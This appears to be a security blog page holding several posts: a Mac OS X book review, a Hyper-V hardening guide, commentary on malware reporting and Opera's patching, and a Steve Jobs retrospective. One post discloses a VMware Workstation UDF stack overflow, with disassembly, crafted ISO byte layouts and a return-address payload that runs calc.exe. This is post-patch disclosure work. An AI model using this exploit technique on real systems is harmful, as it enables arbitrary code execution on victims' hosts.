REVIEW: “Mac OS X Snow Leopard: The Missing Manual”, David Pogue

BKMXSLMM.RVW   20110202

“Mac OS X Snow Leopard: The Missing Manual”, David Pogue, 2009, 978-0-596-15328-1, U$34.99/C$43.99
%A   David Pogue david@pogueman.com
%C   103 Morris Street, Suite A, Sebastopol, CA   95472
%D   2009
%G   978-0-596-15328-1 0-596-15328-7
%I   O’Reilly & Associates, Inc.
%O   U$34.99/C$43.99 800-998-9938 fax: 707-829-0104 nuts@ora.com
%O  http://www.amazon.com/exec/obidos/ASIN/0596153287/robsladesinterne
http://www.amazon.co.uk/exec/obidos/ASIN/0596153287/robsladesinte-21
%O   http://www.amazon.ca/exec/obidos/ASIN/0596153287/robsladesin03-20
%O   Audience i+ Tech 3 Writing 2 (see revfaq.htm for explanation)
%P   885 p.
%T   “Mac OS X Snow Leopard: The Missing Manual”

The introduction to the book states that it is intended for all levels of users, although it is primarily directed at those with an intermediate level of familiarity with previous Mac versions.

Part one introduces the Desktop, and general interface functions.  Chapter one is about folders and windows.  It definitely provides the information necessary to begin to operate the computer, but it also gives the lie to the statement that the Mac is easy to use.  There are a huge number of options for different functions, so many that it is impossible to remember them all.  The material is generally organized by topic, but there are notes, tips, and mentions buried in the text, and it is almost impossible to find these again, when you go back to look for them.  (Given the size of the book, I hesitate to suggest an expansion, but a page or two, at the end of each chapter, listing the points made, would probably be quite helpful.  And the “delete” key definitely needs to be listed in either the index or the key shortcuts appendix.)  The descriptions of operations are also incomplete in some cases.  There is mention of an indicator under Dock items which have open windows, but not that processes with no open windows may still show this indicator.

Chapter two proceeds in much the same way, dealing with the filesystem, and a great deal of trivia related to the associated windows.  The search function, referred to as Spotlight, is very, very detailed in chapter three.  The Dock and Desktop, further aspects of the operating interface, are described in chapter four.  The review of the functions is sometimes annoying in terms of the jargon used: does “go straight to the corresponding window” mean that the window becomes active, or comes to the foreground?  Does it open a window if it doesn’t exist?  Does it relate to programs, or just folders?  You need to work through the material with the book in one hand, and the Mac under the other.  (This process is not aided by inconsistencies in the operation of the Mac itself.  As I was working through this content I tried to create a new document from within the TextEdit program, and found that I did not have any options to create a file in any of the new folders I had established previously.  Later in the chapter there was mention of dragging folders to the Dock, and so I tried that to see whether it would allow me to use that folder.  Lo and behold, now I could create files in any of the new folders I had made, not just the one I dragged to the Dock.  Handy for my purposes, but not very informative in terms of why it worked that way.)

Part two deals with applications and utilities that ship with the Mac.  Chapter five outlines programs in general, along with documents (in terms of association with specific programs) and spaces (virtual, multiple, or external screens).  (More inconsistency: hiding the Finder behaves differently from hiding other applications.  And hiding used with Expose can give you some very … interesting effects.  The book warns you about neither.)  There is also an overview of the Dashboard and “widgets.”  Various aspects of data (entering, checking and moving it) are addressed in chapter six.  At this point in the book, items and tips start to repeat in the content, which possibly addresses the shortcomings in organization and the index.  Scripting (AppleScript) and mechanization (Automator) of common operations are dealt with in chapter seven, along with a set of somewhat related functions known as services.  As could be expected with an activity of the complexity of programming, the description of the associated applications is unclear, but there are some examples that take the reader in lock step through the process, and this exploration should provide a better understanding.  Chapter eight discusses the installation of the Microsoft Windows operating system on a Mac.  The review of Boot Camp (multi-boot installation) is detailed, but the outline of the virtualization options is limited to a mention of functions.

Part three is entitled “The Components of Mac OS X,” which sounds odd in view of the pieces that have already been covered.  Chapter nine addresses System Preferences, which are fundamental and significant settings and operations.  The programs generally provided along with a new Mac are described (in varying levels of detail) in chapter ten.  Removable storage, such as CDs and DVDs, are outlined in chapter eleven, which also notes the iTunes system.

Part four is entitled the technologies of Mac OS X (which sounds a bit odd given that the whole book would be about said technologies).  Chapter twelve deals with account aspects and functions.  Given the importance of access control, it is a bit disappointing to see security factors dispersed throughout, and not presented clearly.  Networks and sharing are discussed in chapter thirteen, with an odd gap in terms of sharing a wired Internet connection.  Printing, in fourteen, misses out on the sharing of printers in a mixed environment.  Chapter fifteen lists some aspects of multimedia, but is strangely reticent about video capture.  Some commands from the default UNIX bash shell are described in chapter sixteen.  Chapter seventeen notes a few customizations, mostly dealt with via outside programs.

Part five stresses the Mac OS online.  Chapter eighteen examines the setup of an Internet connection (and the discussion of sharing it is still limited and confusing).  Setup and operation of the Mail program is covered in chapter nineteen.   The Safari Web browser is dealt with in chapter twenty, and, as usual, there are a number of little tricks which would probably take you years to find out (by accident) on the “intuitive” Mac.  Chapter twenty-one explains iChat, the networks you need to make it run, and an enormous number of tweaks for such a simple function.  Some Internet server programs are listed in chapter twenty-two.  They are given the level of detail that any average computer user would need–except that the average computer user would have no idea of the network connections needed to set up a server on the Internet.

Part six is a set of appendices.  The dialogues for basic installation are listed in the first, but I was sorry not to see anything about installation on non-Apple hardware.  Appendix B has handy tips and suggestions for troubleshooting the most common types of problems.  One of the appendices is a Windows-to-Mac dictionary, which can be
quite handy for those who are used to Microsoft systems.  It could use work in many areas: the entry for “Copy, Cut, Paste” says they work “exactly” as they do in Windows, but does not give the key equivalent of “Command” (the “clover” symbol) -C rather than Ctrl-C.  You also need to know that what the book, and most Apple keyboards, describes as the “option” key is portrayed, in Mac menus, with a kind of bashed “T.”  Appendix D has URLs for a number of resources.  A set of keyboard shortcuts is given in the last.  This can be handy, but I found, in trying to rediscover keystroke combinations that I vaguely recalled from somewhere in the book, that I could not find many of them in the appendix.

There is a style issue in the written material of the book: the constant assertions that the Mac is better than everything, for anything.  The first sentence of chapter one says “When you first turn on a Mac running OS X 10.6, an Apple logo greets you, soon followed by an animated, rotating `Please wait’ gear cursor–and then you’re in.  No progress bar, no red tape.”  Well, if the gear cursor isn’t an analogue of a progress bar, I don’t know what it’s supposed to be.  (While we’re at it, I’m not sure what the difference is between the “gear cursor” and the “spinning beachball of death/SBOD.”)  Also, this statement is false: when you first turn on a Snow Leopard Mac, you have to go through some red tape and questions.  This is only one example of many.  This style may have some validity.  After all, anyone who does not use a Mac comes across the same attitude in any Mac fanatic, and, even without the system chauvinism, a positive approach to teaching about the computer system is likely helpful to the novice user.  However, the style should not get in the way of factual information.

For those using the Mac, this book is enormously helpful, and contains a wealth of information.  It’s not limited to the novice, or even the intermediate user: I found items in the work that none of my Mac support contacts knew.  With some minor quibbles I can definitely say that it is a worthwhile purchase.

copyright, Robert M. Slade   2011     BKMXSLMM.RVW   20110202

DiggRedditSlashdotTwitThisSphinnStumbleUpondel.icio.usFacebookGoogleTechnoratiE-mail this story to a friend!

Hardening guide for Hyper-V on Windows 2008 R2 server core platform

OS installation phase

  1. Boot the server using Windows 2008 R2 bootable DVD.
  2. Specify the product ID -> click Next.
  3. From the installation option, choose “Windows Server 2008 R2 (Server Core Installation)” -> click Next.
  4. Accept the license agreement -> click Next.
  5. Choose “Custom (Advanced)” installation type -> specify the hard drive to install the operating system -> click Next.
  6. Allow the installation phase to continue and restart the server automatically.
  7. To login to the server for the first time, press CTRL+ALT+DELETE
  8. Choose “Administrator” account -> click OK to replace the account password -> specify complex password and confirm it -> press Enter -> Press OK.
  9. From the command prompt window, run the command bellow:
    sconfig.cmd
  10. Press “2″ to replace the computer name -> specify new computer name -> click “Yes” to restart the server.
  11. To login to the server, press CTRL+ALT+DELETE -> specify the “Administrator” account credentials.
  12. From the command prompt window, run the command bellow:
    sconfig.cmd
  13. Press “1” to join the server to the domain -> press “D” to join to domain -> specify the domain name -> click “Yes” to restart the server.
  14. To login to the server, press CTRL+ALT+DELETE -> supply credentials of Domain admin account.
  15. From the command prompt window, run the command bellow:
    sconfig.cmd
  16. Press “5″ to configure “Windows Update Settings” -> select “A” for automatic -> click OK.
  17. Press “6″ to download and install Windows Updates -> choose “A” to search for all updates -> Choose “A” to download and install all updates -> click “Yes” to restart the server.
  18. To login to the server, press CTRL+ALT+DELETE -> supply credentials of Domain admin account.
  19. From the command prompt window, run the command bellow:
    sconfig.cmd
  20. In-case you need to use RDP to access and manage the server, press “7″ to enable “Remote Desktop” -> choose “E” to enable -> choose either “1″ or “2″ according to your client settings -> Press OK.
  21. Press “8″ to configure “Network settings” -> select the network adapter by its Index number -> press “1″ to configure the IP settings -> choose “S” for static IP address -> specify the IP address, subnet mask and default gateway -> press “2″ to configure the DNS servers -> click OK -> press “4″ to return to the main menu.
  22. Press “9″ to configure “Date and Time” -> choose the correct “date/time” and “time zone” -> click OK
  23. Press “11″ to restart the server to make sure all settings take effect -> click “Yes” to restart the server.
  24. To login to the server, press CTRL+ALT+DELETE -> supply credentials of Domain admin account.
  25. To install the Hyper-V role, run the command bellow:
    start /w ocsetup Microsoft-Hyper-V
  26. Click “Yes” to allow the server to restart.
  27. To login to the server, press CTRL+ALT+DELETE -> supply credentials of Domain admin account.
  28. To check that the installation completed, run the command: oclist | find /i "Microsoft-Hyper-V"
  29. Run the commands bellow to enable remote management of the Hyper-V:
    netsh advfirewall firewall set rule group="Remote Service Management" new enable=yes  

    netsh advfirewall firewall set rule group="Windows Management Instrumentation (WMI)" new enable=yes

  30. In case you install antivirus for Server Core, add the following to the antivirus exclusions:
    • Virtual machine configuration files directory. By default, it is C:\ProgramData\Microsoft\Windows\Hyper-V.
    • Virtual machine virtual hard disk files directory. By default, it is C:\Users\Public\Documents\Hyper-V\Virtual Hard Disks.
    • Snapshot files directory. By default, it is %systemdrive%\ProgramData\Microsoft\Windows\Hyper-V\Snapshots.
    • Vmms.exe
    • Vmwp.exe

Manage Hyper-V VMs from Windows 7

  1. Login to a Windows 7 client using administrative account.
  2. Download and install the Remove Server Administration (RSAT) tools for Windows 7 from:
    http://www.microsoft.com/downloads/details.aspx?FamilyID=7D2F6AD7-656B-4313-A005-4E344E43997D&displaylang=en
  3. Open Control Panel and click Programs.
  4. Click Turn Window features on or off.
  5. Under Remote Server Administration Tools Role -> Administration Tools check Hyper-V Tools.
  6. Launch to tools by either typing Hyper-V Manager at the Start menu or go to Start ->Administrative Tools ->Hyper-V Manager.

Virtual Machine Servicing Tool 3.0

    Virtual Machine Servicing Tool 3.0 helps to update offline virtual machines, templates, and virtual hard disks with the latest operating system and application patches. Download link:
    http://www.microsoft.com/download/en/details.aspx?displaylang=en&id=23300

Using Authorization Manager for Hyper-V Security

    Authorization Manager provides a flexible framework for integrating role-based access control into applications. It enables administrators who use those applications to provide access through assigned user roles that relate to job functions. Link for more information:
    http://technet.microsoft.com/en-us/library/cc726036.aspx
    The article can be found on:
    http://security-24-7.com/hardening-guide-for-hyper-v-on-windows-2008-r2-server-core-platform/
DiggRedditSlashdotTwitThisSphinnStumbleUpondel.icio.usFacebookGoogleTechnoratiE-mail this story to a friend!

Nightmare on Malware Street

The Scientific American, no less, has published an article on malware.  Not that they don’t have every right, it’s just that the article is short on fact or help, and long on rather wild conjecture.

The author does have some points to make, even if he makes them very, very badly.

We, both as security professionals and as a society, don’t take malware seriously enough.  The security literature on the subject is appalling.  It is hard to find books on malware, even harder to find good ones, and well nigh impossible to find decent information in general security books.  The problem has been steadily growing since it was a vague academic topic, and has been ignored for so long that, now that it is a real problem, even most security experts have only a tenuous grasp of it.

Almost all reports do sound like paranoid thrillers.  Promoting the idea of shadowy genius figures in dark corners manipulating us at will, this engenders a kind of overall depression: we can’t possibly fight it, so we might was well not even try.  This attitude is further exacerbated but the dearth of information: we can’t even know what’s going on, so how can we even try to fight it?

It is getting more and more difficult to find malware, mostly because we are constantly creating new places for it to hide.  In the name of “user friendliness,” we are building ever more complex systems, with ever more crevices for the pumas to hide in.

Yes, then he goes off into wild speculation and gets all “Reflections on Trusting Trust” on us.  Which kind of loses the valid points.

DiggRedditSlashdotTwitThisSphinnStumbleUpondel.icio.usFacebookGoogleTechnoratiE-mail this story to a friend!

The truth behind the Opera unpatched vulnerability

How hard is it to get facts straight? I don’t expect vendors to admit they sat on a vulnerability for months without patching: it’s human nature to blame someone else:

Opera […] claims that it couldn’t replicate the issue at the time. According to the vendor, its attempts to obtain more information from the researcher at the time weren’t successful.

Of course, when dealing with vendors, it’s always “the dog ate my homework” and “I swear we couldn’t reproduce it until it became public”
But I’m puzzled on why a technical reporter would just happily accept what’s being shoveled at him. For one, he could have contacted us and asked…

Here’s what really happened: We notified Opera about this vulnerability back in May. We gave them the Proof-of-Concept, disassembly, explanation and vulnerability analysis. So saying they did not have the full information is far from the truth. We didn’t ask for anything in return (we never do) but I admit we were skeptical based on previous experience with reporting vulnerabilities to Opera.
Then came the Million dollar question; we were asked if it worked on the latest version of Opera, and we said we don’t know. Since last time I checked, no one here worked for the Opera QA team, so we didn’t feel it was our job to check it. The response was typical:
“We only fix issues that are relevant to the latest version of Opera”

Followed by the all-too-common:”the items provided only cause crashes they have no intention to fix them”.

I guess they meant “we won’t fix them unless you drop a 0-day and we get a call from a computer magazine”.The Vendors-against-full-disclosure will continue, no doubt. Tech writers, get your spines refitted please: if you’re not a part of the solution, you’re a part of the problem.

DiggRedditSlashdotTwitThisSphinnStumbleUpondel.icio.usFacebookGoogleTechnoratiE-mail this story to a friend!

VMware UDF Stack Buffer Overflow

On October 5th, 2011 VMware released Security Advisory VMSA-2011-0011 titled “VMware hosted products address remote code execution vulnerability“. . Unfortunately, VMware forgot to give credit to me.  So I have decided to post technical details of this vulnerability. I believe that since all the required patches have already been released this information will not affect any legitimate users of VMware products.

A bit of History
My friend Yevgeniy  noticed that VMware Workstation 7.0.0 crashed during OS detection when he tried to install Win 7 from ISO file. Its updating to version 7.1.1 “solved” this problem. But the further investigation (of versions 7.1.1 and 7.1.3) showed significant problems with the parsing of ISO file with UDF.

Summary
The easy install features enable user to perform the unattended installation of the guest operating system after the completion of the New Virtual Machine wizard. If user specifies an installer disc (DVD or CD) or ISO image file the wizard will try to detect an operating system. The vulnerability occurs when VMware product parses UDF file system of ISO file with “LogicalBlockSize” > 2048 while detecting OS.
The exploitation allows attackers to execute arbitrary code on the affected host under the context of the user who started VMware product and tried to install new virtual OS from the malicious ISO file.

Technical details
OS                   : Win (32bit)
Application       : VMware Workstation 7.1.3 Build:324285
File                  : vmwarebase.dll
Version            : 7.1.3.14951
Imagebase       : 0×11101000

Function UDF_Open (sub_112E00D0) is vulnerable.  According to http://www.osta.org/specs/pdf/udf260.pdf: The logical sector size and the logical block size of DVD shall be 2048 bytes. The developer allocates the 0×800 (2048) sized buffer in the stack for the actual sector:

.text:112E00E6                 push    7FFh            ; size_t
.text:112E00EB                 mov     edi, eax
.text:112E00ED                 lea     eax, [ebp+var_81F]                        #allocating 0×800 in the stack
.text:112E00F3                 push    0               ; int
.text:112E00F5                 push    eax             ; void *
.text:112E00F6                 mov     [ebp+Buffer], 0
.text:112E00FD                 call    memset                                           #setting  bytes of the buffer to 0×00

The application DOES NOT verify value of “Uint32 LogicalBlockSize” (udf260.pdf 2.2.4.2) from the structure “Logical Volume Descriptor”(udf260.pdf 2.2.4):

.text:112E0267                 movzx   eax, [ebp+var_749] # the highest byte of Uint32 LogicalBlockSize (for example 00 0a 00 “00″)
.text:112E026E                 movzx   ecx, [ebp+var_74A] # the 3rd byte of Uint32 LogicalBlockSize (for example 00 0a “00″ 00)
.text:112E0275                 movzx   edx, [ebp+var_74B] # the 2nd byte of Uint32 LogicalBlockSize (for example 00 “0a” 00 00)
.text:112E027C                 shl     eax, 8
.text:112E027F                 or      eax, ecx
.text:112E0281                 movzx   ecx, [ebp+var_74C] # the lowest byte of Uint32 LogicalBlockSize (for example “00″ 0a 00 00 )
.text:112E0288                 shl     eax, 8
.text:112E028B                 or      eax, edx
.text:112E028D                 shl     eax, 8
.text:112E0290                 or      eax, ecx
.text:112E0292                 mov     [edi], eax                           # saving LogicalBlockSize = 0xA00 instead 0×800

VMWare reads LogicalBlockSize bytes from ISO file to the allocated buffer:

.text:112E0423                 mov     eax, [edi]                           # 0xA00
.text:112E0425                 push    0               ; int
.text:112E0427                 push    eax             ; nNumberOfBytesToRead
.text:112E0428                 lea     ecx, [ebp+Buffer]                #allocated stack buffer (size 0×800)
.text:112E042E                 push    ecx             ; lpBuffer
.text:112E042F                 lea     eax, [edi+38h]
.text:112E0432                 push    eax             ; int
.text:112E0433                 call    Ordinal76                             #it reads 0xa00 bytes from the file and writes to the buffer… OVERFLOW!!! STACK UNDER CONTROL

Since the attacker controls the content of the stack he can control of the flow of execution:

.text:112E0516                 pop     edi
.text:112E0517                 pop     esi
.text:112E0518                 xor     eax, eax
.text:112E051A                 pop     ebx
.text:112E051B                 mov     esp, ebp
.text:112E051D                 pop     ebp
.text:112E051E                 retn                                                            # Return to the desired address

The Linux versions of the VMware products have the same behavior.

The vulnerable code can be reached through opening of crafted ISO file for installation new OS:
1) File->New->Virtual Machine.
2) “New Virtual Machine Wizard” will be opened.
3) Then

1st page - choose “Typical”, 2nd page - choose “Installer disc image file(ISO)”
or
1st page - choose “Custom”, 2nd page isn’t important, 3rd page - choose “Installer disc image file(ISO)”
4) Then the user should choose crafted ISO.

Proof of Concept
To create the specially-crafted file, we modified the correct ISO file because it was necessary for passing several verifications. For example:
(*All offsets are hexadecimal.)

To pass the next verification:
.text:112E0175                 lea     edx, [ebx+3]
.text:112E0178                 lea     esi, [ebp+Buffer]
.text:112E017E                 call    sub_112DFA50

ISO file must have bytes:

Offset      0   1   2  3   4  5  6  7   8  9  A  B  C  D  E  F
00080000   “02 00″ 02 00 “74″ 00 00 00  18 66 F0 01 00 01 00 00

“02 00″ - TagIdentifier
“74″ - TagChecksum

The parser reads and verifies next bytes too:

Offset      0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F
00080010   00 80 00 00 01 01 00 00  00 80 00 00 13 01 00 00

To read the inappropriate LogicalBlockSize we need to pass the next verification:

.text:112E0251                 lea     edx, [eax+6]
.text:112E0254                 lea     esi, [ebp+Buffer]
.text:112E025A                 call    sub_112DFA50

Offset       0  1   2  3  4   5  6  7   8  9  A  B  C  D  E  F
00081000   “06 00″ 02 00 “B4″ 00 00 00  33 C7 AE 01 02 01 00 00

“06 00″ - TagIdentifier
“B4″ - TagChecksum

Reading of LogicalBlockSize:

.text:112E0267                 movzx   eax, [ebp+var_749]
.text:112E026E                 movzx   ecx, [ebp+var_74A]
.text:112E0275                 movzx   edx, [ebp+var_74B]
.text:112E027C                 shl     eax, 8
.text:112E027F                 or      eax, ecx
.text:112E0281                 movzx   ecx, [ebp+var_74C]

Offset      0  1  2  3   4  5  6  7    8  9  A  B  C  D  E  F
000810D0   00 00 00 23 “00 0A 00 00″  00 2A 4F 53 54 41 20 55

Then VMware overflows the buffer (size 0×800) by reading LogicalBlockSize bytes from the first logical block. In our case it starts from:

Offset      0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F
00098000   00 01 02 00 E6 00 00 00  83 6F F0 01 00 00 00 00

In order not to overwrite the stack  by the contents of next blocks, we changed the type 0×100 to 0×101.

Offset      0    1  2  3  4  5  6  7   8  9  A  B  C  D  E  F
00098000   “01″ 01 02 00 E6 00 00 00  83 6F F0 01 00 00 00 00

And the next verification will be failed:

.text:112E0443                 mov     edx, 100h
.text:112E0448                 lea     esi, [ebp+Buffer]
.text:112E044E                 call    sub_112DFA50

And the execution goes to:
.text:112E051D                 pop     ebp
.text:112E051E                 retn

PAYLOADS:

Windows (32 and 64 bit) [WindowsISO]

Offset      0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F
00098820   50 00 00 00 D8 5A 11 11  00 00 00 00 00 00 00 00
00098830   00 00 00 00 01 00 00 00  00 00 00 00 00 00 00 00
00098840   00 00 00 00 30 C1 46 11  88 DD 45 11 88 DD 45 11
00098850   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   …………….
00098860   00 00 00 00 00 00 00 00  43 00 3A 00 5C 00 5C 00   ……..C.:.\.\.
00098870   57 00 69 00 6E 00 64 00  6F 00 77 00 73 00 5C 00   W.i.n.d.o.w.s.\.
00098880   5C 00 73 00 79 00 73 00  74 00 65 00 6D 00 33 00   \.s.y.s.t.e.m.3.
00098890   32 00 5C 00 5C 00 63 00  61 00 6C 00 63 00 2E 00   2.\.\.c.a.l.c…
000988A0   65 00 78 00 65 00 00 00  00 00 00 00 00 00 00 00   e.x.e………..

D8 5A 11 11 = 0×11115ad8 -  “desired” address:

.text:11115AD8                 push    edi             ; lpApplicationName
.text:11115AD9                 call    ds:CreateProcessW

edi points to the string “C.:.\.\.W.i.n.d.o.w.s.\.\.s.y.s.t.e.m.3.2.\.\.c.a.l.c…e.x.e” in the stack.

30 C1 46 11 = 0×1146C130 - it points to array ‘\x00\x00\x00…’ (it is used as pStartupInfo)

88 DD 45 11 = 0×1145DD88 - it points to array ‘\x44\x00\x00…’ (it is used as pProcessInfo)

So function CreateProcessW will be called  with the following parameters:

04E1FCB4   04E1FCF8  шьб   |ModuleFileName = “C:\\Windows\\system32\\calc.exe”
04E1FCB8   00000000  ….  |CommandLine = NULL
04E1FCBC   00000000  ….  |pProcessSecurity = NULL
04E1FCC0   00000000  ….  |pThreadSecurity = NULL
04E1FCC4   00000001   …  |InheritHandles = TRUE
04E1FCC8   00000000  ….  |CreationFlags = 0
04E1FCCC   00000000  ….  |pEnvironment = NULL
04E1FCD0   00000000  ….  |CurrentDir = NULL
04E1FCD4   1146C130  0БF   |pStartupInfo = vmwareba.1146C130
04E1FCD8   1145DD88  €ЭE   |pProcessInfo = vmwareba.1145DD88

Credit
Huge thanks to Yevgeniy Grushka, who helped me with researching and verifying for this vulnerability.

References
http://www.vmware.com/security/advisories/VMSA-2011-0011.html

DiggRedditSlashdotTwitThisSphinnStumbleUpondel.icio.usFacebookGoogleTechnoratiE-mail this story to a friend!

A little perspective, please

In case you hadn’t noticed, Steve Jobs has died.  If you hadn’t noticed, you haven’t been on the net today.  I suspect that all the posts about him are degrading overall net performance.  I know that this is the case on Twitter: performance and posting retrieval have been iffy for a least the past dozen hours.

Steve Jobs founded and built an extremely successful company.  He had a genius for marketing, and was a dab hand at assessing style.  He had a way of creating a vision and then getting people to buy into it.  All useful skills.

However, a number of the bios and tributes are going overboard.  He is being credited with inventing computers, tablets, smartphones, operating systems, music, networks, social media, cloud, and the mouse.  I am waiting for the first person to claim that he cured cancer, completely unaware of the irony.  (Oops.  Too late.  Time magazine is claiming that most people with pancreatic cancer live five months, but Jobs lasted for seven years.  They do not note that he had a rarer, slow-growing form.)

People are getting a little desperate to think of another claim to make for Jobs.  I just read an article that said “… the man helped us write. Jobs was the first to give us a real choice of fonts, and thus the ability to express ourselves digitally …”  Siri-ously?  (Sorry.)  Jobs invented LaTeX?  Fonts?  I could make a pretty good case that fonts actually damaged our ability to write.  Have you never received one of those letters/flyers/posters made up by someone who has just discovered fonts, and uses every single one?  And, in the grip of enthusiasm, fails to include vital information?

Jobs was a leader, did some good stuff, and changed things.  Yes.  But lets keep a little perspective, OK?

DiggRedditSlashdotTwitThisSphinnStumbleUpondel.icio.usFacebookGoogleTechnoratiE-mail this story to a friend!

Vulnerability Scanner